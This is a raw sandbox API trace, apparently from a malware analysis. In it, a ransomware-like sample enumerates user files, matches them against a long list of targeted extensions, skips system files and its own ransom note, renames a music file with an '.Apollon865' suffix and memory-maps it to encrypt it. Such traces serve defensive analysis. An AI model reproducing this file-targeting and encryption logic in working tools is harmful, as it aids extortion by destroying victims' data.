	[0045.031] lstrcmpiW (lpString1="xen Hair.mp3", lpString2="flexolibrary") returned 1
	[0045.031] lstrlenW (lpString="fm5") returned 3
	[0045.031] lstrcmpiW (lpString1="mp3", lpString2="fm5") returned 1
	[0045.032] lstrlenW (lpString="fmp") returned 3
	[0045.032] lstrcmpiW (lpString1="mp3", lpString2="fmp") returned 1
	[0045.032] lstrlenW (lpString="fmp12") returned 5
	[0045.032] lstrcmpiW (lpString1="r.mp3", lpString2="fmp12") returned 1
	[0045.032] lstrlenW (lpString="fmpsl") returned 5
	[0045.032] lstrcmpiW (lpString1="r.mp3", lpString2="fmpsl") returned 1
	[0045.032] lstrlenW (lpString="fol") returned 3
	[0045.032] lstrcmpiW (lpString1="mp3", lpString2="fol") returned 1
	[0045.032] lstrlenW (lpString="fp3") returned 3
	[0045.032] lstrcmpiW (lpString1="mp3", lpString2="fp3") returned 1
	[0045.032] lstrlenW (lpString="fp4") returned 3
	[0045.032] lstrcmpiW (lpString1="mp3", lpString2="fp4") returned 1
	[0045.032] lstrlenW (lpString="fp5") returned 3
	[0045.032] lstrcmpiW (lpString1="mp3", lpString2="fp5") returned 1
	[0045.032] lstrlenW (lpString="fp7") returned 3
	[0045.032] lstrcmpiW (lpString1="mp3", lpString2="fp7") returned 1
	[0045.032] lstrlenW (lpString="fpt") returned 3
	[0045.032] lstrcmpiW (lpString1="mp3", lpString2="fpt") returned 1
	[0045.032] lstrlenW (lpString="frm") returned 3
	[0045.032] lstrcmpiW (lpString1="mp3", lpString2="frm") returned 1
	[0045.032] lstrlenW (lpString="gdb") returned 3
	[0045.032] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0045.032] lstrlenW (lpString="gdb") returned 3
	[0045.032] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0045.032] lstrlenW (lpString="grdb") returned 4
	[0045.032] lstrcmpiW (lpString1=".mp3", lpString2="grdb") returned -1
	[0045.032] lstrlenW (lpString="gwi") returned 3
	[0045.033] lstrcmpiW (lpString1="mp3", lpString2="gwi") returned 1
	[0045.033] lstrlenW (lpString="hdb") returned 3
	[0045.033] lstrcmpiW (lpString1="mp3", lpString2="hdb") returned 1
	[0045.033] lstrlenW (lpString="his") returned 3
	[0045.033] lstrcmpiW (lpString1="mp3", lpString2="his") returned 1
	[0045.033] lstrlenW (lpString="ib") returned 2
	[0045.033] lstrcmpiW (lpString1="p3", lpString2="ib") returned 1
	[0045.033] lstrlenW (lpString="idb") returned 3
	[0045.033] lstrcmpiW (lpString1="mp3", lpString2="idb") returned 1
	[0045.033] lstrlenW (lpString="ihx") returned 3
	[0045.033] lstrcmpiW (lpString1="mp3", lpString2="ihx") returned 1
	[0045.033] lstrlenW (lpString="itdb") returned 4
	[0045.033] lstrcmpiW (lpString1=".mp3", lpString2="itdb") returned -1
	[0045.033] lstrlenW (lpString="itw") returned 3
	[0045.033] lstrcmpiW (lpString1="mp3", lpString2="itw") returned 1
	[0045.033] lstrlenW (lpString="jet") returned 3
	[0045.033] lstrcmpiW (lpString1="mp3", lpString2="jet") returned 1
	[0045.033] lstrlenW (lpString="jtx") returned 3
	[0045.033] lstrcmpiW (lpString1="mp3", lpString2="jtx") returned 1
	[0045.033] lstrlenW (lpString="kdb") returned 3
	[0045.033] lstrcmpiW (lpString1="mp3", lpString2="kdb") returned 1
	[0045.033] lstrlenW (lpString="kexi") returned 4
	[0045.033] lstrcmpiW (lpString1=".mp3", lpString2="kexi") returned -1
	[0045.033] lstrlenW (lpString="kexic") returned 5
	[0045.033] lstrcmpiW (lpString1="r.mp3", lpString2="kexic") returned 1
	[0045.033] lstrlenW (lpString="kexis") returned 5
	[0045.033] lstrcmpiW (lpString1="r.mp3", lpString2="kexis") returned 1
	[0045.034] lstrlenW (lpString="lgc") returned 3
	[0045.034] lstrcmpiW (lpString1="mp3", lpString2="lgc") returned 1
	[0045.034] lstrlenW (lpString="lwx") returned 3
	[0045.034] lstrcmpiW (lpString1="mp3", lpString2="lwx") returned 1
	[0045.034] lstrlenW (lpString="maf") returned 3
	[0045.034] lstrcmpiW (lpString1="mp3", lpString2="maf") returned 1
	[0045.034] lstrlenW (lpString="maq") returned 3
	[0045.034] lstrcmpiW (lpString1="mp3", lpString2="maq") returned 1
	[0045.034] lstrlenW (lpString="mar") returned 3
	[0045.034] lstrcmpiW (lpString1="mp3", lpString2="mar") returned 1
	[0045.034] lstrlenW (lpString="marshal") returned 7
	[0045.034] lstrcmpiW (lpString1="air.mp3", lpString2="marshal") returned -1
	[0045.034] lstrlenW (lpString="mas") returned 3
	[0045.034] lstrcmpiW (lpString1="mp3", lpString2="mas") returned 1
	[0045.034] lstrlenW (lpString="mav") returned 3
	[0045.034] lstrcmpiW (lpString1="mp3", lpString2="mav") returned 1
	[0045.034] lstrlenW (lpString="maw") returned 3
	[0045.034] lstrcmpiW (lpString1="mp3", lpString2="maw") returned 1
	[0045.034] lstrlenW (lpString="mdbhtml") returned 7
	[0045.034] lstrcmpiW (lpString1="air.mp3", lpString2="mdbhtml") returned -1
	[0045.034] lstrlenW (lpString="mdn") returned 3
	[0045.034] lstrcmpiW (lpString1="mp3", lpString2="mdn") returned 1
	[0045.034] lstrlenW (lpString="mdt") returned 3
	[0045.034] lstrcmpiW (lpString1="mp3", lpString2="mdt") returned 1
	[0045.034] lstrlenW (lpString="mfd") returned 3
	[0045.034] lstrcmpiW (lpString1="mp3", lpString2="mfd") returned 1
	[0045.035] lstrlenW (lpString="mpd") returned 3
	[0045.035] lstrcmpiW (lpString1="mp3", lpString2="mpd") returned -1
	[0045.035] lstrlenW (lpString="mrg") returned 3
	[0045.035] lstrcmpiW (lpString1="mp3", lpString2="mrg") returned -1
	[0045.035] lstrlenW (lpString="mud") returned 3
	[0045.035] lstrcmpiW (lpString1="mp3", lpString2="mud") returned -1
	[0045.035] lstrlenW (lpString="mwb") returned 3
	[0045.035] lstrcmpiW (lpString1="mp3", lpString2="mwb") returned -1
	[0045.035] lstrlenW (lpString="myd") returned 3
	[0045.035] lstrcmpiW (lpString1="mp3", lpString2="myd") returned -1
	[0045.035] lstrlenW (lpString="ndf") returned 3
	[0045.035] lstrcmpiW (lpString1="mp3", lpString2="ndf") returned -1
	[0045.035] lstrlenW (lpString="nnt") returned 3
	[0045.035] lstrcmpiW (lpString1="mp3", lpString2="nnt") returned -1
	[0045.035] lstrlenW (lpString="nrmlib") returned 6
	[0045.035] lstrcmpiW (lpString1="ir.mp3", lpString2="nrmlib") returned -1
	[0045.035] lstrlenW (lpString="ns2") returned 3
	[0045.035] lstrcmpiW (lpString1="mp3", lpString2="ns2") returned -1
	[0045.035] lstrlenW (lpString="ns3") returned 3
	[0045.035] lstrcmpiW (lpString1="mp3", lpString2="ns3") returned -1
	[0045.035] lstrlenW (lpString="ns4") returned 3
	[0045.035] lstrcmpiW (lpString1="mp3", lpString2="ns4") returned -1
	[0045.035] lstrlenW (lpString="nsf") returned 3
	[0045.035] lstrcmpiW (lpString1="mp3", lpString2="nsf") returned -1
	[0045.035] lstrlenW (lpString="nv") returned 2
	[0045.035] lstrcmpiW (lpString1="p3", lpString2="nv") returned 1
	[0045.035] lstrlenW (lpString="nv2") returned 3
	[0045.035] lstrcmpiW (lpString1="mp3", lpString2="nv2") returned -1
	[0045.036] lstrlenW (lpString="nwdb") returned 4
	[0045.036] lstrcmpiW (lpString1=".mp3", lpString2="nwdb") returned -1
	[0045.036] lstrlenW (lpString="nyf") returned 3
	[0045.036] lstrcmpiW (lpString1="mp3", lpString2="nyf") returned -1
	[0045.036] lstrlenW (lpString="odb") returned 3
	[0045.036] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0045.036] lstrlenW (lpString="odb") returned 3
	[0045.036] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0045.036] lstrlenW (lpString="oqy") returned 3
	[0045.036] lstrcmpiW (lpString1="mp3", lpString2="oqy") returned -1
	[0045.036] lstrlenW (lpString="ora") returned 3
	[0045.036] lstrcmpiW (lpString1="mp3", lpString2="ora") returned -1
	[0045.036] lstrlenW (lpString="orx") returned 3
	[0045.036] lstrcmpiW (lpString1="mp3", lpString2="orx") returned -1
	[0045.036] lstrlenW (lpString="owc") returned 3
	[0045.036] lstrcmpiW (lpString1="mp3", lpString2="owc") returned -1
	[0045.036] lstrlenW (lpString="p96") returned 3
	[0045.036] lstrcmpiW (lpString1="mp3", lpString2="p96") returned -1
	[0045.036] lstrlenW (lpString="p97") returned 3
	[0045.036] lstrcmpiW (lpString1="mp3", lpString2="p97") returned -1
	[0045.036] lstrlenW (lpString="pan") returned 3
	[0045.036] lstrcmpiW (lpString1="mp3", lpString2="pan") returned -1
	[0045.036] lstrlenW (lpString="pdb") returned 3
	[0045.036] lstrcmpiW (lpString1="mp3", lpString2="pdb") returned -1
	[0045.036] lstrlenW (lpString="pdm") returned 3
	[0045.036] lstrcmpiW (lpString1="mp3", lpString2="pdm") returned -1
	[0045.036] lstrlenW (lpString="pnz") returned 3
	[0045.037] lstrcmpiW (lpString1="mp3", lpString2="pnz") returned -1
	[0045.037] lstrlenW (lpString="qry") returned 3
	[0045.037] lstrcmpiW (lpString1="mp3", lpString2="qry") returned -1
	[0045.037] lstrlenW (lpString="qvd") returned 3
	[0045.037] lstrcmpiW (lpString1="mp3", lpString2="qvd") returned -1
	[0045.037] lstrlenW (lpString="rbf") returned 3
	[0045.037] lstrcmpiW (lpString1="mp3", lpString2="rbf") returned -1
	[0045.037] lstrlenW (lpString="rctd") returned 4
	[0045.037] lstrcmpiW (lpString1=".mp3", lpString2="rctd") returned -1
	[0045.037] lstrlenW (lpString="rod") returned 3
	[0045.037] lstrcmpiW (lpString1="mp3", lpString2="rod") returned -1
	[0045.037] lstrlenW (lpString="rodx") returned 4
	[0045.037] lstrcmpiW (lpString1=".mp3", lpString2="rodx") returned -1
	[0045.037] lstrlenW (lpString="rpd") returned 3
	[0045.037] lstrcmpiW (lpString1="mp3", lpString2="rpd") returned -1
	[0045.037] lstrlenW (lpString="rsd") returned 3
	[0045.037] lstrcmpiW (lpString1="mp3", lpString2="rsd") returned -1
	[0045.037] lstrlenW (lpString="sas7bdat") returned 8
	[0045.037] lstrcmpiW (lpString1="Hair.mp3", lpString2="sas7bdat") returned -1
	[0045.037] lstrlenW (lpString="sbf") returned 3
	[0045.037] lstrcmpiW (lpString1="mp3", lpString2="sbf") returned -1
	[0045.037] lstrlenW (lpString="scx") returned 3
	[0045.037] lstrcmpiW (lpString1="mp3", lpString2="scx") returned -1
	[0045.037] lstrlenW (lpString="sdb") returned 3
	[0045.037] lstrcmpiW (lpString1="mp3", lpString2="sdb") returned -1
	[0045.037] lstrlenW (lpString="sdc") returned 3
	[0045.037] lstrcmpiW (lpString1="mp3", lpString2="sdc") returned -1
	[0045.037] lstrlenW (lpString="sdf") returned 3
	[0045.037] lstrcmpiW (lpString1="mp3", lpString2="sdf") returned -1
	[0045.037] lstrlenW (lpString="sis") returned 3
	[0045.037] lstrcmpiW (lpString1="mp3", lpString2="sis") returned -1
	[0045.037] lstrlenW (lpString="spq") returned 3
	[0045.038] lstrcmpiW (lpString1="mp3", lpString2="spq") returned -1
	[0045.038] lstrlenW (lpString="te") returned 2
	[0045.038] lstrcmpiW (lpString1="p3", lpString2="te") returned -1
	[0045.038] lstrlenW (lpString="teacher") returned 7
	[0045.038] lstrcmpiW (lpString1="air.mp3", lpString2="teacher") returned -1
	[0045.038] lstrlenW (lpString="tmd") returned 3
	[0045.038] lstrcmpiW (lpString1="mp3", lpString2="tmd") returned -1
	[0045.038] lstrlenW (lpString="tps") returned 3
	[0045.038] lstrcmpiW (lpString1="mp3", lpString2="tps") returned -1
	[0045.038] lstrlenW (lpString="trc") returned 3
	[0045.038] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0045.038] lstrlenW (lpString="trc") returned 3
	[0045.038] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0045.038] lstrlenW (lpString="trm") returned 3
	[0045.038] lstrcmpiW (lpString1="mp3", lpString2="trm") returned -1
	[0045.038] lstrlenW (lpString="udb") returned 3
	[0045.038] lstrcmpiW (lpString1="mp3", lpString2="udb") returned -1
	[0045.038] lstrlenW (lpString="udl") returned 3
	[0045.038] lstrcmpiW (lpString1="mp3", lpString2="udl") returned -1
	[0045.038] lstrlenW (lpString="usr") returned 3
	[0045.038] lstrcmpiW (lpString1="mp3", lpString2="usr") returned -1
	[0045.038] lstrlenW (lpString="v12") returned 3
	[0045.038] lstrcmpiW (lpString1="mp3", lpString2="v12") returned -1
	[0045.038] lstrlenW (lpString="vis") returned 3
	[0045.038] lstrcmpiW (lpString1="mp3", lpString2="vis") returned -1
	[0045.038] lstrlenW (lpString="vpd") returned 3
	[0045.038] lstrcmpiW (lpString1="mp3", lpString2="vpd") returned -1
	[0045.038] lstrlenW (lpString="vvv") returned 3
	[0045.038] lstrcmpiW (lpString1="mp3", lpString2="vvv") returned -1
	[0045.038] lstrlenW (lpString="wdb") returned 3
	[0045.038] lstrcmpiW (lpString1="mp3", lpString2="wdb") returned -1
	[0045.038] lstrlenW (lpString="wmdb") returned 4
	[0045.038] lstrcmpiW (lpString1=".mp3", lpString2="wmdb") returned -1
	[0045.039] lstrlenW (lpString="wrk") returned 3
	[0045.039] lstrcmpiW (lpString1="mp3", lpString2="wrk") returned -1
	[0045.039] lstrlenW (lpString="xdb") returned 3
	[0045.039] lstrcmpiW (lpString1="mp3", lpString2="xdb") returned -1
	[0045.039] lstrlenW (lpString="xld") returned 3
	[0045.039] lstrcmpiW (lpString1="mp3", lpString2="xld") returned -1
	[0045.039] lstrlenW (lpString="xmlff") returned 5
	[0045.039] lstrcmpiW (lpString1="r.mp3", lpString2="xmlff") returned -1
	[0045.039] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3.Apollon865") returned 75
	[0045.039] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), lpNewFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3.Apollon865" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3.apollon865"), dwFlags=0x1) returned 1
	[0045.040] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3.Apollon865" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x158
	[0045.041] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=4113874) returned 1
	[0045.041] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0045.041] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0045.041] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0045.041] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf788) returned 1
	[0045.042] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0045.042] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0045.043] CreateFileMappingW (hFile=0x158, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3ec8e0, lpName=0x0) returned 0x148
	[0045.046] MapViewOfFile (hFileMappingObject=0x148, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x1ec8e0) returned 0x3270000
	[0045.198] MapViewOfFile (hFileMappingObject=0x148, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3460000
	[0045.939] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf678) returned 1
	[0045.942] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0045.946] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0045.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0045.948] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0045.949] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0045.949] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0045.949] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0045.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0045.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0045.955] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0045.955] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0045.956] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0045.956] UnmapViewOfFile (lpBaseAddress=0x3270000) returned 1
	[0045.977] CloseHandle (hObject=0x148) returned 1
	[0045.978] CloseHandle (hObject=0x158) returned 1
	[0045.978] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0045.979] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0045.979] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0045.990] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sleep Away.mp3", cAlternateFileName="SLEEPA~1.MP3")) returned 1
	[0045.990] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.991] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2="Apollon865.txt.exe") returned 1
	[0045.992] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2=".") returned 1
	[0045.992] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2="..") returned 1
	[0045.993] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2="windows") returned -1
	[0045.994] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2="bootmgr") returned 1
	[0045.994] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2="temp") returned -1
	[0045.995] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2="pagefile.sys") returned 1
	[0045.995] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2="boot") returned 1
	[0045.996] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2="ids.txt") returned 1
	[0045.996] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2="ntuser.dat") returned 1
	[0045.997] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2="perflogs") returned 1
	[0045.997] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2="MSBuild") returned 1
	[0045.998] lstrlenW (lpString="Sleep Away.mp3") returned 14
	[0045.998] lstrlenW (lpString="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3") returned 64
	[0045.998] lstrcpyW (in: lpString1=0x119e64e, lpString2="Sleep Away.mp3" | out: lpString1="Sleep Away.mp3") returned="Sleep Away.mp3"
	[0045.998] lstrlenW (lpString="Sleep Away.mp3") returned 14
	[0045.999] lstrlenW (lpString="Apollon865") returned 10
	[0045.999] lstrcmpiW (lpString1="p Away.mp3", lpString2="Apollon865") returned 1
	[0045.999] lstrlenW (lpString=".dll") returned 4
	[0046.000] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2=".dll") returned 1
	[0046.000] lstrlenW (lpString=".lnk") returned 4
	[0046.000] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2=".lnk") returned 1
	[0046.000] lstrlenW (lpString=".ini") returned 4
	[0046.000] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2=".ini") returned 1
	[0046.000] lstrlenW (lpString=".sys") returned 4
	[0046.000] lstrcmpiW (lpString1="Sleep Away.mp3", lpString2=".sys") returned 1
	[0046.000] lstrlenW (lpString="Sleep Away.mp3") returned 14
	[0046.000] lstrlenW (lpString="bak") returned 3
	[0046.000] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1
	[0046.000] lstrlenW (lpString="ba_") returned 3
	[0046.000] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1
	[0046.000] lstrlenW (lpString="dbb") returned 3
	[0046.001] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1
	[0046.001] lstrlenW (lpString="vmdk") returned 4
	[0046.001] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1
	[0046.001] lstrlenW (lpString="rar") returned 3
	[0046.002] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1
	[0046.002] lstrlenW (lpString="zip") returned 3
	[0046.002] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1
	[0046.002] lstrlenW (lpString="tgz") returned 3
	[0046.021] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1
	[0046.021] lstrlenW (lpString="vbox") returned 4
	[0046.021] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1
	[0046.021] lstrlenW (lpString="vdi") returned 3
	[0046.021] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1
	[0046.021] lstrlenW (lpString="vhd") returned 3
	[0046.021] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1
	[0046.021] lstrlenW (lpString="vhdx") returned 4
	[0046.021] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1
	[0046.021] lstrlenW (lpString="avhd") returned 4
	[0046.021] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1
	[0046.021] lstrlenW (lpString="db") returned 2
	[0046.021] lstrcmpiW (lpString1="p3", lpString2="db") returned 1
	[0046.021] lstrlenW (lpString="db2") returned 3
	[0046.021] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1
	[0046.021] lstrlenW (lpString="db3") returned 3
	[0046.021] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1
	[0046.021] lstrlenW (lpString="dbf") returned 3
	[0046.021] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1
	[0046.021] lstrlenW (lpString="mdf") returned 3
	[0046.021] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1
	[0046.021] lstrlenW (lpString="mdb") returned 3
	[0046.021] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1
	[0046.021] lstrlenW (lpString="sql") returned 3
	[0046.021] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1
	[0046.021] lstrlenW (lpString="sqlite") returned 6
	[0046.021] lstrcmpiW (lpString1="ay.mp3", lpString2="sqlite") returned -1
	[0046.021] lstrlenW (lpString="sqlite3") returned 7
	[0046.021] lstrcmpiW (lpString1="way.mp3", lpString2="sqlite3") returned 1
	[0046.021] lstrlenW (lpString="sqlitedb") returned 8
	[0046.021] lstrcmpiW (lpString1="Away.mp3", lpString2="sqlitedb") returned -1
	[0046.021] lstrlenW (lpString="xml") returned 3
	[0046.022] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1
	[0046.022] lstrlenW (lpString="$er") returned 3
	[0046.022] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1
	[0046.022] lstrlenW (lpString="4dd") returned 3
	[0046.022] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1
	[0046.022] lstrlenW (lpString="4dl") returned 3
	[0046.022] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1
	[0046.022] lstrlenW (lpString="^^^") returned 3
	[0046.022] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1
	[0046.022] lstrlenW (lpString="abs") returned 3
	[0046.022] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1
	[0046.022] lstrlenW (lpString="abx") returned 3
	[0046.022] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1
	[0046.022] lstrlenW (lpString="accdb") returned 5
	[0046.022] lstrcmpiW (lpString1="y.mp3", lpString2="accdb") returned 1
	[0046.022] lstrlenW (lpString="accdc") returned 5
	[0046.022] lstrcmpiW (lpString1="y.mp3", lpString2="accdc") returned 1
	[0046.022] lstrlenW (lpString="accde") returned 5
	[0046.022] lstrcmpiW (lpString1="y.mp3", lpString2="accde") returned 1
	[0046.022] lstrlenW (lpString="accdr") returned 5
	[0046.022] lstrcmpiW (lpString1="y.mp3", lpString2="accdr") returned 1
	[0046.022] lstrlenW (lpString="accdt") returned 5
	[0046.022] lstrcmpiW (lpString1="y.mp3", lpString2="accdt") returned 1
	[0046.022] lstrlenW (lpString="accdw") returned 5
	[0046.022] lstrcmpiW (lpString1="y.mp3", lpString2="accdw") returned 1
	[0046.022] lstrlenW (lpString="accft") returned 5
	[0046.022] lstrcmpiW (lpString1="y.mp3", lpString2="accft") returned 1
	[0046.022] lstrlenW (lpString="adb") returned 3
	[0046.022] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0046.022] lstrlenW (lpString="adb") returned 3
	[0046.022] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0046.022] lstrlenW (lpString="ade") returned 3
	[0046.022] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1
	[0046.022] lstrlenW (lpString="adf") returned 3
	[0046.023] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1
	[0046.023] lstrlenW (lpString="adn") returned 3
	[0046.023] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1
	[0046.023] lstrlenW (lpString="adp") returned 3
	[0046.023] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1
	[0046.023] lstrlenW (lpString="alf") returned 3
	[0046.023] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1
	[0046.023] lstrlenW (lpString="ask") returned 3
	[0046.023] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1
	[0046.023] lstrlenW (lpString="btr") returned 3
	[0046.023] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1
	[0046.023] lstrlenW (lpString="cat") returned 3
	[0046.023] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1
	[0046.023] lstrlenW (lpString="cdb") returned 3
	[0046.023] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1
	[0046.023] lstrlenW (lpString="ckp") returned 3
	[0046.023] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1
	[0046.023] lstrlenW (lpString="cma") returned 3
	[0046.023] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1
	[0046.023] lstrlenW (lpString="cpd") returned 3
	[0046.023] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1
	[0046.023] lstrlenW (lpString="dacpac") returned 6
	[0046.023] lstrcmpiW (lpString1="ay.mp3", lpString2="dacpac") returned -1
	[0046.023] lstrlenW (lpString="dad") returned 3
	[0046.023] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1
	[0046.023] lstrlenW (lpString="dadiagrams") returned 10
	[0046.023] lstrcmpiW (lpString1="p Away.mp3", lpString2="dadiagrams") returned 1
	[0046.023] lstrlenW (lpString="daschema") returned 8
	[0046.023] lstrcmpiW (lpString1="Away.mp3", lpString2="daschema") returned -1
	[0046.023] lstrlenW (lpString="db-journal") returned 10
	[0046.023] lstrcmpiW (lpString1="p Away.mp3", lpString2="db-journal") returned 1
	[0046.023] lstrlenW (lpString="db-shm") returned 6
	[0046.023] lstrcmpiW (lpString1="ay.mp3", lpString2="db-shm") returned -1
	[0046.023] lstrlenW (lpString="db-wal") returned 6
	[0046.024] lstrcmpiW (lpString1="ay.mp3", lpString2="db-wal") returned -1
	[0046.024] lstrlenW (lpString="dbc") returned 3
	[0046.024] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1
	[0046.024] lstrlenW (lpString="dbs") returned 3
	[0046.024] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1
	[0046.024] lstrlenW (lpString="dbt") returned 3
	[0046.024] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1
	[0046.024] lstrlenW (lpString="dbv") returned 3
	[0046.024] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1
	[0046.024] lstrlenW (lpString="dbx") returned 3
